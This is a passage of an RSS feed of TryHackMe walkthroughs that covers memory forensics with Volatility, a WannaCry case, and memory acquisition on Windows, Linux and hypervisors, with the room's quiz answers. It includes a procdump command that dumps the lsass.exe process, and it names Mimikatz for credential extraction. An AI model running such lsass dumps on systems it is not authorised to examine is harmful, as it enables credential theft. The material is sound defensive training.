~/Desktop/Investigations/Investigation-1.vmem windows.ssdt</pre><p><strong>Recommendation:</strong> Perform SSDT inspection <strong>after</strong> discovering suspicious kernel modules or abnormal process behaviour.</p><h3>Kernel Module Enumeration</h3><p>The windows.modules plugin lists drivers and kernel modules currently loaded into memory. Each entry includes metadata such as base address, size, and file path.</p><pre>ubuntu@tryhackme:~/Desktop/volatility3$ python3 vol.py -f ~/Desktop/Investigations/Investigation-1.vmem windows.modules</pre><h3>Driver Scanning</h3><p>While windows.modules lists known drivers, it can miss hidden or unlinked ones. The windows.driverscan plugin scans raw memory for DRIVER_OBJECT structures that may have been unlinked from standard lists.</p><pre>ubuntu@tryhackme:~/Desktop/volatility3$ python3 vol.py -f ~/Desktop/Investigations/Investigation-1.vmem windows.driverscan</pre><p><strong>Tip:</strong> Use this plugin if you suspect DKOM (Direct Kernel Object Manipulation) or rootkit behaviour.</p><p>Q:What is the address for the NtCreateFile system call?</p><p>python3 vol.py -f ~/Desktop/Investigations/Investigation-1.vmem windows.ssdt | grep NtCreateFile</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QEYFH7_MV1L55JoDHtKU8A.png" /></figure><pre>0x8056e27c</pre><h3>Task 7: Practical Investigations</h3><h3>Case 002</h3><p>You have been informed that your corporation has been hit with a chain of ransomware that has been affecting corporations internationally. Your team has already recovered from the attack through backups. Your job is to perform post-incident analysis and identify which actors were at play and what occurred on your systems. You have received a raw memory dump from your team to begin your analysis.</p><p>The memory file is located in ~/Desktop/Investigations/Investigation-2.raw.</p><p>Q1:What suspicious process is running at PID 740?</p><p>python3 vol.py -f ~/Desktop/Investigations/Investigation-2.raw windows.pstree</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B1KFZSwmYiF1kmEj86Pfiw.png" /></figure><pre>@WanaDecryptor@</pre><p>Q2:What is the full path of the suspicious binary in PID 740?</p><pre>C:\Intel\ivecuqmanpnirkt615\@WanaDecryptor@.exe</pre><p>Q3:What is the parent process of PID 740?</p><pre>tasksche.exe</pre><p>Q4: From our current information, what malware is present on the system?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Nk2G6hrBaIFq2E7ww9md_w.png" /></figure><pre>Wannacry</pre><p>Q5:What plugin could be used to identify all files loaded from the malware working directory?</p><p>I asked Github Copilot</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*WpsZA_egrHQnH-DW.png" /></figure><pre>windows.filescan</pre><h3>Task 8: Conclusion</h3><p>We have only covered a very thin layer of memory forensics with Volatility, which can go much deeper when analysing the Windows, Mac, and Linux architectures. If you’re looking for a deep dive into memory forensics, I suggest reading <strong>The Art of Memory Forensics</strong>.</p><p>Additionally, the following is a list of worthy plugin mentions that you can be aware of and read more on:</p><ul><li>windows.callbacks: Malware may register malicious callbacks for process creation, image loading, or thread creation. We can use this plugin to inspect callback functions for unknown driver associations or non-standard modules.</li><li>windows.driverirp: This plugin examines IRP (I/O Request Packet) dispatch tables of drivers. Suspicious drivers may register no IRP functions or point to non-driver memory.</li><li>windows.modscan: This plugin scans for loaded kernel modules without relying on linked lists. It can be used to uncover stealth drivers that evade both modules and driverscan.</li><li>windows.moddump: This plugin allows analysts to extract suspicious drivers or modules from memory for static analysis. Further investigation with tools such as Ghidra or IDA can be done to reverse engineer dumped modules.</li><li>windows.memmap: This plugin can perform deeper analysis of injected code or memory artefacts, to extract memory regions from specific processes.</li><li>yarascan: This plugin will search for strings, patterns, and compound rules against a rule set by using a YARA file as an argument or listing rules within the command line.</li></ul><p>In the next room, <a href="https://tryhackme.com/room/memoryacquisition">Memory Acquisition</a>, we will cover memory acquisition in detail, covering all the necessary techniques and approaches.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/869/0*DM59pmnQ6BtSbpik.png" /></figure><p>No answer needed</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=21662f526855" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Memory Acquisition — TryHackMe]]></title>
            <link>https://medium.com/@notfo/memory-acquisition-tryhackme-05fdc551fc8d?source=rss-356ddbee4b59------2</link>
            <guid isPermaLink="false">https://medium.com/p/05fdc551fc8d</guid>
            <category><![CDATA[windows-and-linux]]></category>
            <category><![CDATA[memory-acquisition]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[digital-forensics]]></category>
            <category><![CDATA[memory-forensics]]></category>
            <dc:creator><![CDATA[notfo]]></dc:creator>
            <pubDate>Wed, 30 Jul 2025 09:13:39 GMT</pubDate>
            <atom:updated>2025-07-30T09:13:39.317Z</atom:updated>
            <content:encoded><![CDATA[<h3>Memory Acquisition — TryHackMe</h3><h3>Task 1: Introduction</h3><p>Before you can analyze memory, you must acquire it. This involves copying the contents of volatile memory to non-volatile storage (<a href="https://www.memoryanalysis.net/amf">The Art of Memory Forensics</a>). The effectiveness of memory analysis hinges on the quality of the process of memory acquisition — capturing memory accurately is just as crucial as interpreting it. In this room, we will discuss all the variables that you need to consider before, during, and after memory acquisition. These variables include tooling, timing, formatting, environment, and more. You will then proceed to effectively create forensically sound memory images on Windows, Linux, and Hypervisors.</p><h3>Learning Objectives</h3><ul><li>Create a forensically sound memory image on Windows</li><li>Create a forensically sound memory image on Linux</li><li>Create a forensically sound memory image on a hypervisor</li><li>Create a forensically sound memory image in a cloud environment</li><li>Understand and apply best practices during the process of acquisition</li></ul><h3>Room Prerequisites</h3><ul><li><a href="https://tryhackme.com/room/memoryanalysisintroduction">Memory Analysis Introduction</a></li><li><a href="https://tryhackme.com/module/windows-fundamentals">Windows Fundamentals</a></li><li><a href="https://tryhackme.com/module/linux-fundamentals">Linux Fundamentals</a></li></ul><p>No answer needed</p><h3>Task 2: Techniques, Tools and, Best Practices</h3><p>The memory acquisition process does not start when you capture an image of the RAM and transfer it to a non-volatile storage. It starts <strong>well before</strong> that as a sequence of well-defined choices you have outlined in your incident response plan. This outline should detail decisions on:</p><ul><li>Which acquisition techniques to use</li><li>Which tools to use</li><li>Timing</li><li>What part of the memory to focus on</li><li>Ensuring integrity</li></ul><p>This task will cover each of these essential considerations.</p><h3>Selecting the Right Memory Part</h3><p>Before you acquire memory on a system, you must decide what part of the memory is of forensic value. This is decided on a case-to-case basis and will be affected by the IOAs and IOCs you observed. Consider the following examples:</p><ul><li><strong>Unusual resource usage</strong>: You notice that a common process has been using an unusual amount of CPU and memory. You decide to take an image of the processes (also known as a process dump). In this case, a full memory dump would take too long and include too much forensic noise, impeding analysis.</li><li><strong>Malware infection</strong>: You discovered a malware-infected host and found evidence in the firewall logs that the host has an active C2 connection. You decide to take a full memory capture to aid your investigation.</li><li><strong>System shut down</strong>: You detected signs of fraud on an employee’s system. To avoid tipping off the employee, you decide to take a memory capture during the lunch pause. The system in question is powered off. Luckily, due to configured policies, the system went into hibernation instead, and you can acquire the hiberfil.sys file for analysis.</li></ul><p>In the table below, you can find an overview of the type of memory dumps you can take, their content, and use cases. Note that the pagefile, Hibernation File, and VM Memory file are not direct memory dumps. They are files that exist on a disk after performing a certain type of action. The pagefile is filled up with the memory of processes that are suspended or were recently terminated; the hibernation file is created as a result of the host system being put in hibernation mode, and the VM memory file is created when the VM its state is saved or snapshotted.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZARxw1WWf2RJTS7xotOb_Q.png" /></figure><p>In the next tasks, you will perform multiple of these types of captures on Windows and Linux.</p><h3>Choosing the Appropriate File Format</h3><p>There is no standard format when it comes to memory images. So, you must choose a format compatible with the tool you will use for analysis. The memory dump format will largely depend on the platform you target and the tool you use. Below, we list the most common formats.</p><ul><li>.raw and .mem: This format is a raw physical memory dump supported on most Operating Systems like macOS, Windows, and Linux. It is also the preferred format for ensuring compatibility with most analysis tools</li><li>.dmp: This is the Windows built-in format for a memory dump. Windows includes multiple types of .dmp files, which in most cases, need to be configured first. You will explore this in the task ‘Memory acquisition for Windows’</li><li>VM formats (.vmem, .vmsn, .vmss, .bin, .sav): These files represent the memory state of a Virtual Machine after taking a snapshot or suspending it in a hypervisor like VMware, Hyper-V, or VirtualBox. Note that you need to convert the .sav file to be usable in analysis</li><li>.core: This is a process-level memory dump formatted in ELF in Linux using the gcore tool. This type of file is also created when a process crashes</li><li>Expert Witness Format: This format is generated using the Encase tool, which is an industry-standard for advanced forensic analysis</li><li>.lime: This memory capture file is a structured full memory dump created with the LiME (Linux Memory Extractor) tool</li></ul><h3>Choosing the Acquisition Technique</h3><p>There are multiple ways you can acquire memory on a system. Depending on your use case, you will choose one over the other. Let’s have a look at which methods you can use.</p><ul><li><strong>Local</strong>: You take an external storage device, plug it into the target machine, and then run the tools to acquire the memory. This method requires physical access to the target system</li><li><strong>Remote</strong>: You run the tools to acquire the memory and then transfer the memory capture over the network. This method is ideal for when you have to target machines that are not easily accessed in person, such as physical servers without any keyboard or monitor attached or systems in another location than your primary work location</li><li><strong>Hardware</strong>: You have installed a dedicated PCIe card that allows you to acquire memory without accessing the OS</li><li><strong>RAM freezing</strong>: RAM is volatile, and the content disappears in mere seconds after cutting the power. A technique involves freezing the RAM, which allows the RAM content to be retained for a longer time. Depending on the freezing method, this would allow you enough time to move the RAM modules to another system with a dedicated OS that enables a memory dump of the RAM modules</li></ul><p><strong>Important considerations:</strong></p><ul><li>You need administrator privileges to be able to acquire a complete memory dump</li><li>When transferring the acquired memory remotely, there is always a risk that the receiving system gets compromised as well. This can be due to the nature of the malware or the attacker taking the opportunity to move laterally</li><li>When using local storage, there is also a possibility that the storage gets compromised. Use a disposable system to do the initial analysis</li><li>A hardware card is a costly option for memory acquisition. Ensure the cost matches the importance of the system</li></ul><h3>Tools</h3><p>Selecting the right tool for the right job is a key factor in determining the quality of the memory capture. No tool fits all use cases, so it is important to consider the available options carefully. You should consider the following factors:</p><ul><li>Integrity</li><li>Compatibility</li><li>Speed and scalability</li><li>Compliance</li><li>Cost</li><li>Forensic noise introduced</li></ul><p>Below are some of the most commonly used tools.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AaHaLcqT9B1CRX7KuA3wKw.png" /></figure><p>Q1:What is the file name that contains the memory of a hibernated Windows system? The answer is in the format: filename.extension</p><pre>hiberfil.sys</pre><p>Q2:Which tool can you use to obtain a process memory dump on a linux host?</p><pre>gcore</pre><h3>Task 3: Memory Acquisition on Windows</h3><h3>Introduction</h3><p>Acquiring memory on a Windows host is straightforward. You can apply the steps listed in the previous task: what, when, tools, and integrity. During this task, you will focus on acquiring the following memory dumps during regular business hours:</p><ul><li>Full memory capture with the FTK imager tool</li><li>Process memory dump with the procdump.exe tool that is part of the SysinternalsSuite</li><li>Configure Windows to generate a small memory dump when the system crashes</li></ul><p>The formatting of the memory dumps should be compatible with the memory analysis tool you will use later on. For this task and the next ones, you need to ensure compatibility with volatility. The choice for volatility is simple. It is a free tool with many great features, and it can process multiple formats of memory dumps, including:</p><p>* Raw/Padded Physical Memory<br>* Firewire (IEEE 1394)<br>* Expert Witness (EWF)<br>* 32- and 64-bit Windows Crash Dump<br>* 32- and 64-bit Windows Hibernation<br>* 32- and 64-bit MachO files<br>* Virtualbox Core Dumps<br>* VMware Saved State (.vmss) and Snapshot (.vmsn)<br>* HPAK Format (FastDump)<br>* LiME (Linux Memory Extractor)<br>* QEMU VM memory dumps</p><p>After each memory capture, you need to generate an MD5 hash of the memory capture to <strong>ensure integrity</strong>. Integrity is critical throughout the memory forensics process. Multiple parties will likely analyze the memory capture, which can introduce unwanted changes contaminating its forensic value. Therefore, you should always create a copy of the memory capture and use that for analysis. You can use a hash to ensure the copy is identical to the original.</p><h3>Full Memory Capture</h3><p>Go to the VM, navigate to the desktop, and double-click the FTK imager icon to start the FTK imager tool.</p><p>Now follow these steps to take a memory capture:</p><ul><li>Click File =&gt; Capture Memory</li><li>Enter the destination path to save the memory capture. Ideally, this should be an external storage device with enough disk space to accommodate the memory capture. For this exercise, give in the path C:\Users\administrator\Documents\Full Memory Capture</li><li>Give the capture file a fitting name. Ideally, you use the name pattern defined in the memory process outline in your IR playbook. For this exercise, you can use the Hostname_Date.mem format as the filename: FS-ANALYSIS_07April2025.mem</li><li>Choose whether to include the page file or not. <strong>Note: The page file can be large, depending on your system configuration</strong></li><li>Click on Capture Memory</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*_d25Et_4EFqhxuJH.gif" /></figure><p>Once the process is complete, you need to ensure the integrity of the captured file:</p><ul><li>Open a PowerShell window as Administrator</li><li>Give in the command Get-FileHash with the required parameters as shown in the terminal below. Depending on which algorithm you select, it can take a few minutes before the hash is generated. Your memory process outline should also define which hashing algorithm to use</li><li>Note down the hash value. Where to note it should be described in your memory process outline. <strong>Note: The calculated hash values of this example and yours will be different, which is expected as the memory content continuously changes</strong></li></ul><p>Full Memory Capture — Hash</p><pre>PS C:\Users\Administrator\Documents&gt; Get-FileHash -Path &#39;C:\Users\Administrator\Documents\Full Memory Capture\FS-ANALYSIS-07April2025.mem&#39; -Algorithm MD5<br><br>Algorithm Hash Path<br>        <br>MD5 42CD44244B8ED77CCF89ECAA6C3F957A C:\Users\Administrator\Documents\Full Memory Capture\FS-ANALYSIS-07April2025.mem </pre><h3>Process Memory Dump</h3><p>Continuing with the VM, open a new PowerShell terminal with administrator privileges and navigate to the path C:\TMP\SysinternalsSuite\.</p><p>The SysInternals suite contains a tool called procdump64.exe, which you can use to dump the memory contents of a selected process. You can do this either <strong>manually </strong>or based on a <strong>trigger </strong>like high CPU usage.</p><p>You will focus on manually dumping the lsass.exe process. This process manages authentication, tokens, credentials, and more. Threat actors often target the lsass.exe process using <strong>Mimikatz</strong>. Enter the following command to dump the content of the lsass.exe process:</p><p>Process Dump</p><pre>PS C:\TMP\SysinternalsSuite&gt; .\procdump64.exe -ma lsass.exe C:\TMP -accepteula<br><br>ProcDump v11.0 - Sysinternals process dump utility<br>        <br>Copyright (C) 2009-2022 Mark Russinovich and Andrew Richards<br>        <br>Sysinternals - www.sysinternals.com<br>        <br>[13:45:44] Dump 1 initiated: C:\TMP\lsass.exe_250408_134544.dmp<br>        <br>[13:45:44] Dump 1 writing: Estimated dump file size is 47 MB.<br>        <br>[13:45:44] Dump 1 complete: 47 MB written in 0.5 seconds<br>        <br>[13:45:45] Dump count reached.</pre><p>Have a closer look at the options included in the command:</p><ul><li>-ma : This flag sets the type of dump to contain the process’s full memory content. The default option is a minidump (-mm), which only contains basic information about the process. The minidump is useful for crashes but not for malware analysis or extracting credentials. There are other flags available as well. Use the .\procdump.exe -h command to display them</li><li>lsass.exe : This is the process you will dump the memory of</li><li>C:\TMP : The memory dump is saved in this directory</li></ul><p>The default name for the file dump is PROCESSNAME_YYMMDD_HHMMSS.dmp. You can leave this as is for this exercise. Usually, you would adjust the name to match what is in your memory outline in the IR playbook.</p><p>Now that you have created a memory dump of the lsass.exe process, you need to ensure its integrity. Enter the following command to calculate an MD5 hash of the memory capture. Adjust the filename to reflect your memory capture.</p><p>Calculate Hash</p><pre>PS C:\TMP\SysinternalsSuite&gt;  Get-FileHash -Path &#39;C:\TMP\lsass.exe_250408_082640.dmp&#39; -Algorithm MD5<br>Algorithm Hash Path       <br>MD5 9DF3963A62B01D3151CB6B824C8DE6D1 C:\TMP\lsass.exe_250408_082640.dmp</pre><h3>Crash Dump</h3><p>Windows includes configuration options for what should happen when it crashes. These options determine whether to take a memory dump, which type to take, where to save it, and whether to overwrite the existing memory dump.</p><p>From a forensic perspective, a memory dump from a system crash is also usable information. For example, a malicious process could cause your system to crash. Follow the steps below to configure a memory dump after system failure.</p><ul><li>Right-click the Windows logo in the taskbar and click run</li><li>Enter sysdm.cpl to open the System Properties control panel item</li><li>Navigate to the Advanced tab and click Settings... under the Startup and Recovery section</li><li>Configure the memory dump in the System failure - Write debugging information section. Which dump to choose will depend on your use case.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*5HIViiLYsjJpVCLc.gif" /></figure><p>Q1:Start notepad.exe on the VM and use the procdump64.exe tool to write a ‘triage’ dump file of the process. Ensure that the dump file’s name is formatted like PROCESSNAME_PID_YYMMDD_HHMMSS.dmp. Enter the complete command below. Note: Use PowerShell so to syntax is correct. No need to include the -accepteula flag</p><pre>.\procdump64.exe -mt notepad.exe PROCESSNAME_PID_YYMMDD_HHMMSS.dmp</pre><p>Q2:Which two tools can you use to extract or dump memory artifacts of the lsass.exe process? Enter the answers in alphabetic order and separated by a comma. For example: volatility,procmon.exe</p><pre>mimikatz,procdump64.exe</pre><h3>Task 4: Memory Acquisition on Linux</h3><h3>Introduction</h3><p>Acquiring memory on a Linux host is a straightforward process. You need to decide on the same steps as on a Windows host.</p><p>During this task, you will focus on the following memory captures during business hours:</p><ul><li>Full memory capture with the LiME tool</li><li>Process memory dump with the gcore tool that is part of the GNU Debugger</li><li>Configure Ubuntu to generate a memory dump when the system crashes</li></ul><p>Like the previous task, you need to ensure compatibility with volatility. After each memory capture, you need to generate an MD5 hash of the memory capture to <strong>ensure integrity</strong>.</p><h3>Full Memory Capture</h3><p>In this task, you will use the LiME tool to take a full memory capture. This tool isn&#39;t included by default on most Linux systems. Since the VM has no internet access, <strong>we&#39;ve pre-installed the tool for you</strong>. If you&#39;re trying this on your machine, here&#39;s how you would install it manually:</p><p>Install LiME</p><pre>ubuntu@tryhackme:~$<br># first install necessary dependencies<br>sudo apt update<br>sudo apt install -y git build-essential linux-headers-$(uname -r)<br># Clone the LiME repository<br>git clone https://github.com/504ensicsLabs/LiME.git<br>cd LiME/src<br># compile LiME for use in kernel<br>make</pre><p>Continuing with the VM, open a terminal window and enter the following command to take a full memory capture:</p><p>Take Memory Dump</p><pre>ubuntu@tryhackme:~$ cd LiME/src<br>ubuntu@tryhackme:~/LiME/src$ sudo insmod lime-6.8.0-1027-aws.ko &quot;path=/tmp/ubuntu-150000-22042025.lime format=lime&quot;</pre><p>Let’s take a closer look at the options included in the command:</p><ul><li>sudo insmod lime-6.8.0-1027-aws.ko: The insmod command loads the LiME tool (lime.ko) in the kernel. This is necessary so LiME can do a full memory capture</li><li>path=/tmp/ubuntu-150000-22042025.lime: This is the directory where the memory dump is saved and the memory dump its name. The naming template used is HOSTNAME-HHMMSS-DDMMYYYY.lime . You can alter the name to fit your requirements</li><li>format=lime: This command sets the memory dump&#39;s format to .lime. Ensure this is compatible with your memory analysis tools</li></ul><p>If you want to change any of the above parameters or include additional parameters you can reference the help page on <a href="https://github.com/504ensicsLabs/LiME">the official GitHub </a>of the LiME tool.</p><p>Once the process is complete, you need to ensure the integrity of the captured file and <strong>unload the LiME tool</strong>:</p><ul><li>Enter the command md5sum with the required parameters as shown in the terminal below. Depending on which algorithm you select, it can take a few minutes before the hash is generated. Your memory process outline should also define which hashing algorithm to use</li><li>Note down the hash value. Where to note it should be described in your memory process outline. <strong>Note: The calculated hash values of this example and yours will differ, which is expected as the memory content continuously changes</strong></li><li>Finish by entering the sudo rmmod lime command to unload LiME from the kernel. <strong>Note: Each time you want to capture the memory, you must first run this command to unload any previous LiME modules</strong></li></ul><p>MD5Hash</p><pre>ubuntu@tryhackme:~/LiME/src$ md5sum tmp/ubuntu-150000-22042025.lime<br>0ef7140f0c0cabd6c4ef76c708f2324f  /tmp/ubuntu-150000-22042025.lime<br><br>ubuntu@tryhackme:~/LiME/src$ sudo rmmod lime</pre><h3>Process Memory dump</h3><p>Continuing with the VM, open a new terminal and enter the following commands to dump the memory of the bash process:</p><p>Process Dump with gcore</p><pre>ubuntu@tryhackme:~$ ps aux |grep bash # Search the PID number of the bash process<br>ubuntu      6506  0.0  0.2   5892  4096 pts/0    Ss   Apr11   0:00 bash<br>ubuntu     34136  0.0  0.1   3528  1792 pts/0    S+   13:57   0:00 grep --color=auto bash<br><br>ubuntu@tryhackme:~$ sudo gcore -o /tmp/BASH-130000-10042025 6506 # Dump the memory of the bash process using gcore</pre><p>Now that you have created a memory dump of the bash process, you need to ensure its integrity. Enter the following command to calculate an MD5 hash of the memory capture. Adjust the filename to reflect your memory capture.</p><p>Process Dump with gcore</p><pre>ubuntu@tryhackme:~$ md5sum /tmp/BASH-130000-10042025.6506 <br>b1baa84b8f1e725f1a45795465ba710c  /tmp/BASH-130000-10042025.6506</pre><h3>Crash dump</h3><p>Similar to Windows you can configure Linux to do a memory dump when a process or the kernel crashes. The configuration is however not as straightforward as Windows. It will depend on the host its type of distribution and kernel.</p><p><strong>Kernel crash dump</strong><br>As stated in the <a href="https://documentation.ubuntu.com/server/how-to/software/kernel-crash-dump/index.html">Official documentation </a>of Ubuntu, the kernel crash dump is enabled by default starting from Ubuntu version 24.10. The VM in this task has Ubuntu version 24.04, so you must enable the kernel crash dump yourself. Due to the limited connectivity of the VM, <strong>we have done the configuration ourselves</strong>. We entered the following commands and added explanatory comments (with # delimiter) to the terminal window below:</p><p>Enable kdump</p><pre>ubuntu@tryhackme:~$ <br># check status kernel crash dump utility<br>ubuntu@tryhackme:~$ cat /proc/cmdline # This command verifies if the kernel crash dump is enabled or not. If a line similar to &#39;crashkernel=384M-2G:64M,2G-:128M&#39; is present, it is enabled. You don&#39;t need to execute the following commands in this case.<br><br># Install kdump (This is the kernel crash dump utitlity)<br>ubuntu@tryhackme:~$ sudo apt install kdump-tools -y<br><br># Reboot to enable the kdump tool<br>ubuntu@tryhackme:~$ sudo -reboot<br><br># Verify if the kdump tool is running<br>ubuntu@tryhackme:~$ sudo kdump-config show # You can enter this command yourself on the VM<br>DUMP_MODE: kdump<br>USE_KDUMP: 1 # 1 means that kdump is in use<br>KDUMP_COREDIR: /var/crash<br>crashkernel addr: 0x69000000<br>/var/lib/kdump/vmlinuz: symbolic link to /boot/vmlinuz-6.8.0-1027-aws<br>kdump initrd:<br>/var/lib/kdump/initrd.img: symbolic link to /var/lib/kdump/initrd.img-6.8.0-1027-aws<br>current state: ready to kdump # kdump is able to dump<br>crashkernel suggested size: 371M<br>kexec command:<br>/sbin/kexec -p --command-line=&quot;BOOT_IMAGE=/boot/vmlinuz-6.8.0-1027-aws root=PARTUUID=da63a61e-01 ro console=tty1 console=ttyS0 nvme_core.io_timeout=4294967295 panic=-1 reset_devices systemd.unit=kdump-tools-dump.service nr_cpus=1 irqpoll usbcore.nousb&quot; --initrd=/var/lib/kdump/initrd.img /var/lib/kdump/vmlinuz</pre><p><strong>Process crash dump</strong><br>On most Linux distributions, process crash dumps are disabled by default. There are different ways to enable automated or partial crash dumps depending on the Linux flavor.</p><p>In this task, you will focus on Ubuntu Desktop, that the VM is running. To cover all processes on Ubuntu Desktop, you need to configure 2 options:</p><ul><li>Crash dump for systemd-managed processes</li><li>Crash dump for interactive sessions and user processes</li></ul><p>Start by entering the following commands to configure the crash dump for systemd-managed processes:</p><p>Process crash dump</p><pre>ubuntu@tryhackme:~$ sudo mkdir -p /etc/systemd/system.conf.d<br>ubuntu@tryhackme:~$ sudo nano /etc/systemd/system.conf.d/core-dumps.conf<br># Add the following lines to the core-dumps.conf file and enter CTRL+o to save the file, then exit the editor by entering CTRL+x<br>[Manager]<br>DefaultLimitCORE=infinity<br><br># Now reload the systemd service<br>ubuntu@tryhackme:~$ sudo systemctl daemon-reexec</pre><p>Now, continue configuring the crash dump for the user processes and interactive sessions. The commands below will ensure the configuration persists. Enter the following commands:</p><p>Process crash dump</p><pre># Enable process dumps<br>ubuntu@tryhackme:~$ ulimit -c unlimited<br><br># Open the config file<br>ubuntu@tryhackme:~$ sudo nano /etc/sysctl.d/60-core-pattern.conf<br><br>#Add the following lines to set naming template<br>kernel.core_pattern = /var/crash/core.%e.%p.%t<br>fs.suid_dumpable = 1<br><br># Create the /var/crash folder and assign permissions if it does not exist yet<br>ubuntu@tryhackme:~$ sudo mkdir -p /var/crash<br>ubuntu@tryhackme:~$ sudo chmod 1777 /var/crash</pre><p>The above approach works for both Ubuntu Desktop and Server editions.</p><p>Ubuntu Desktop also comes enabled with a crash dump utility named apport. This service catches core dumps from crashing processes, decides whether to act on it, and then creates a .crash file which includes:</p><ul><li>Stack trace</li><li>Process info</li><li>Loaded libraries</li><li>Partial memory content, not the full core dump</li></ul><p>The crash files are saved in the /var/crash directory.</p><p>Q1:Modify the following command to ensure the memory dump is in the .raw format and is accessible over TCP port 5555: sudo insmod lime-6.8.0-1027-aws.ko &quot;path=/tmp/memdump.lime format=lime&quot;</p><pre>sudo insmod lime-6.8.0-1027-aws.ko &quot;path=tcp:5555 format=raw&quot;</pre><p>Q2:LiME includes a parameter to create a hash immediately after capturing the memory. Modify the following command and ensure a MD5 hash is calculated: sudo insmod lime-6.8.0-1027-aws.ko &quot;path=/tmp/memdump.lime format=lime&quot;</p><pre>sudo insmod lime-6.8.0-1027-aws.ko &quot;path=/tmp/memdump.lime format=lime&quot; digest=md5</pre><h3>Task 5: Memory Acquisition on Virtual Machines and Cloud Environments</h3><p>Similar to the two previous tasks, you must make some decisions regarding the memory acquisition process. For this task, you will focus on getting a memory dump from hypervisors and cloud platforms during regular business hours.<br>You will then choose the right tool or method for the right job. There are two ways to acquire memory from hypervisors and cloud platforms:</p><ol><li>Login into the VM and use the techniques seen in the previous tasks</li><li>Use the built-in tools of the hypervisor or cloud platform to extract memory without interacting directly with the VM. This can be done via the GUI or the command line</li></ol><p>In this task, you will focus on number two where possible. You will learn the methods to acquire a memory dump on the most common hypervisors and cloud platforms, including:</p><ul><li>Microsoft Hyper-V</li><li>VMware vSphere</li><li>VirtualBox</li><li>KVM</li><li>Cloud platforms</li></ul><p>You will focus on providing a memory dump that is compatible with volatility.</p><h3>Acquiring a Memory Dump on hypervisors</h3><p>The method for acquiring a memory dump from a hosted VM is similar for each flavor of hypervisor. <br><strong>First,</strong> you need to take a snapshot or pause the VM. T<strong>hen,</strong> you can take a copy of the memory state file that each hypervisor creates when snapshotting or pausing a VM. Depending on the flavor of hypervisor you will need to convert the memory state file to be compatible with volatility.</p><p><strong>Note: There are alternative methods to acquire memory. This task will focus on using the built-in tools and/or utilities when available.</strong></p><p><strong>Microsoft Hyper-V</strong><br>Acquiring memory on a Hyper-V hosted VM can be done with the native functions of Hyper-V. You can choose to use either the GUI or the PowerShell command line. The terminal below shows the process using PowerShell. The steps for GUI and PowerShell are virtually the same:</p><ul><li>Save the VM or take a checkpoint via the GUI or PowerShell cmdlet ( Checkpoint-VM or Save-VM )</li><li>Navigate to where the snapshots are stored and copy the .vmrs file, which contains the RAM content</li><li>Calculate the hash to ensure integrity when analyzing the memory dump later on</li><li>Use the volatility windows.hyperv plugin to process the file</li></ul><p>Memory dump Hyper-v</p><pre>PS C:\Users\administrator&gt; get-vm | FT VMId, VMName<br><br>VMId VMName<br>c5f1b464-ffea-4904-bc7b-974c74b10159 Ubuntu 22.04 LTS&lt;<br>PS C:\Users\administrator&gt; get-vm -Id c5f1b464-ffea-4904-bc7b-974c74b10159 | Checkpoint-VM<br>PS C:\Users\administrator&gt; Get-VMSnapshot -VMName &#39;Ubuntu 22.04 LTS&#39; |FT Id,Name,Path<br>PS C:\Users\administrator&gt; cp C:\ProgramData\Microsoft\Windows\Hyper-V\Snapshots\97DBBAE5-3F91-4E5E-B177-FBB970E8703E.VMRS C:\temp\hostname-17-04-2025.VMRS<br>PS C:\Users\administrator&gt; Get-FileHash -Algorithm MD5 -Path C:\temp\hostname-17-04-2025.VMRS<br>Algorithm Hash Path<br>MD5           E1BA77075C7C832CC96E43DB8E8F98E8   C:\temp\hostname-17-04-2025.VMRS</pre><p><strong>vSphere</strong><br>In vSphere,you can use the built-in tools (vCenter server + vSphere client) to take a snapshot of the VM. You can use either the GUI or the ESXCLI tool. The steps to acquire the memory are similar:</p><ul><li>Take a snapshot of the VM</li><li>Navigate to the datastore where the VM is located and copy the .vmsn file</li><li>Calculate a hash to ensure integrity</li><li>volatility supports the processing of .vmsn files, so you don&#39;t need to convert them</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*m3toigAycZ44jn6Z.gif" /></figure><p><strong>KVM</strong><br>The easiest way to acquire a memory dump of a VM hosted on KVM is to use the command line utility. The steps are similar to other hypervisors:</p><ul><li>First, find the name of the VM. Use the virsh list command to list all VMs</li><li>Then, dump the memory of the VM by entering virsh dump vmname /path/to/dupm.raw --memory-only</li><li>Lastly, create a hash of the memory dump file md5sum memdump.raw</li></ul><p><strong>VirtualBox</strong><br>The recommended way to acquire the memory of a VM hosted on VirtualBox is by using the VBoxManage tool. On a Windows installation, you can find this command line utility in the installation path of Virtualbox E.g. C:\Program Files\Oracle\VirtualBox . Follow the next steps to take a memory dump of the VM:</p><ul><li>List the VMs running and find the name of the VM</li><li>Take a dump with the debugvm command</li><li>Calculate a hash to ensure the integrity of the file later down the analysis process</li><li>Volatility supports the processing of .elf files , so you don&#39;t need to convert them</li></ul><p>Memory Dump</p><pre>PS C:\Program Files\Oracle\VirtualBox&gt; .\VBoxManage.exe list runningvms<br>&quot;Kali_purple&quot; {9a969c90-7ab0-4b9b-893d-48c70fa42ee5}<br>PS C:\Program Files\Oracle\VirtualBox&gt; .\VBoxManage.exe debugvm &quot;Kali_purple&quot; dumpvmcore --filename C:\temp\kali_memdump.elf<br>PS C:\Program Files\Oracle\VirtualBox&gt; Get-FileHash -Algorithm MD5 -Path C:\temp\kali_memdump.elf<br>Algorithm Hash Path<br>MD5             1833B5B07C8E43A6E011919934AFB049           C:\temp\kali_memdump.elf</pre><h3>Acquiring a Memory Dump on Cloud Platforms</h3><p>Unlike hypervisors, the process of acquiring a memory dump from a VM hosted on a cloud platform like Azure or AWS is not straightforward. Neither platform comes with a built-in tool to accommodate taking a memory dump. In this case, you won’t be able to avoid interacting with the VM directly. One of the main reasons why Cloud providers don’t offer this tooling is due to the 